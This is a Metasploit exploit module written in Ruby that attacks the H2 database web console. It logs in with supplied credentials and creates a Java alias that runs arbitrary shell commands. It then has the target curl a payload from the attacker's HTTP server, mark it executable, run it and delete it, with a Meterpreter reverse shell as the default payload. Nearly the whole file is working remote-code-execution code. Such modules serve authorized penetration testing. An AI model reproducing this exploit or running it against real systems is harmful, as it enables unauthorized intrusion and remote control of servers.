204 lines
7.9 KiB
Ruby
204 lines
7.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'H2 Web Interface Create Alias RCE',
|
|
'Description' => %q{
|
|
The H2 database contains an alias function which allows for arbitrary Java code to be used.
|
|
This functionality can be abused to create an exec functionality to pull our payload down
|
|
and execute it. H2's web interface contains restricts MANY characters, so injecting a payload
|
|
directly is not favorable. A valid database connection is required. If the database engine
|
|
was configured to allow creation of databases, the module default can be used which
|
|
utilizes an in memory database. Some Docker instances of H2 don't allow writing to
|
|
folders such as /tmp, so we default to writing to the working directory of the software.
|
|
|
|
This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'gambler', # edb 44422
|
|
'h4ckNinja', # edb 45506
|
|
'Nairuz Abulhul' # medium write-up
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '44422'],
|
|
[ 'EDB', '45506'],
|
|
[ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],
|
|
[ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']
|
|
],
|
|
'Stance' => Stance::Aggressive,
|
|
'Platform' => 'unix',
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false,
|
|
'Payload' => {
|
|
# likely more, these aren't really used now that we go with a curl
|
|
# to retrieve our payload, but leaving here for future travelers
|
|
'BadChars' => '"<>;|`\\'
|
|
},
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'NOCVE' => ['abusing a feature']
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8082),
|
|
OptString.new('USERNAME', [ true, 'User to login with', '']),
|
|
OptString.new('PASSWORD', [ true, 'Password to login with', '']),
|
|
OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),
|
|
OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])
|
|
]
|
|
)
|
|
end
|
|
|
|
def get_jsessionid
|
|
vprint_status('Obtaining jsessionid (cookie equivalent)')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
|
|
'method' => 'GET'
|
|
)
|
|
return nil if res.nil?
|
|
return nil unless res.code == 200
|
|
|
|
if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/
|
|
vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")
|
|
return Regexp.last_match(1)
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def login(check_only: false)
|
|
page = 'login.do'
|
|
if check_only
|
|
page = 'test.do'
|
|
end
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, page),
|
|
'method' => 'POST',
|
|
'vars_get' => {
|
|
'jsessionid' => @jsessionid
|
|
},
|
|
'vars_post' => {
|
|
'language' => 'en',
|
|
'setting' => 'Generic+H2+%28Server%29',
|
|
'name' => 'Generic+H2+%28Server%29',
|
|
'driver' => 'org.h2.Driver',
|
|
'url' => datastore['DATABASE'],
|
|
'user' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
})
|
|
end
|
|
|
|
def check
|
|
@jsessionid = get_jsessionid
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
'jsessionid' => @jsessionid
|
|
}
|
|
})
|
|
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
|
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
|
|
return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'
|
|
|
|
print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/
|
|
print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/
|
|
res = login(check_only: true)
|
|
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
|
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
|
|
|
|
return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'
|
|
|
|
CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")
|
|
end
|
|
|
|
def send_command(command)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'query.do'),
|
|
'method' => 'POST',
|
|
'vars_get' => {
|
|
'jsessionid' => @jsessionid
|
|
},
|
|
'vars_post' => {
|
|
'sql' => command
|
|
}
|
|
})
|
|
return nil if res.nil?
|
|
return nil if res.code != 200
|
|
|
|
res.body
|
|
end
|
|
|
|
def get_version
|
|
version = send_command('SELECT H2VERSION() FROM DUAL;')
|
|
# regex likely to break on version upgrades unfortunately
|
|
if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}
|
|
print_good("H2 Version detected: #{Regexp.last_match(1)}")
|
|
return
|
|
end
|
|
print_error('Unable to detect version')
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
print_good('Received payload request')
|
|
send_response(cli, payload.encoded)
|
|
end
|
|
|
|
def exploit
|
|
@jsessionid ||= get_jsessionid
|
|
|
|
res = login
|
|
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
|
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
|
|
|
|
if datastore['GETVERSION']
|
|
get_version
|
|
end
|
|
|
|
start_service
|
|
alias_name = Rex::Text.rand_text_alpha_upper(6..12)
|
|
alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|
|
|
# escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html
|
|
payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"
|
|
vprint_status("Saving payload as #{payload_name}")
|
|
run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');
|
|
CALL #{alias_name}('chmod a+x #{payload_name}');
|
|
CALL #{alias_name}('./#{payload_name} &');
|
|
CALL #{alias_name}('rm -rf #{payload_name}');"
|
|
delete_alias = "DROP ALIAS #{alias_name};"
|
|
print_status('Attempting to execute payload retrieval')
|
|
send_command("#{alias_function} #{run_alias} #{delete_alias}")
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|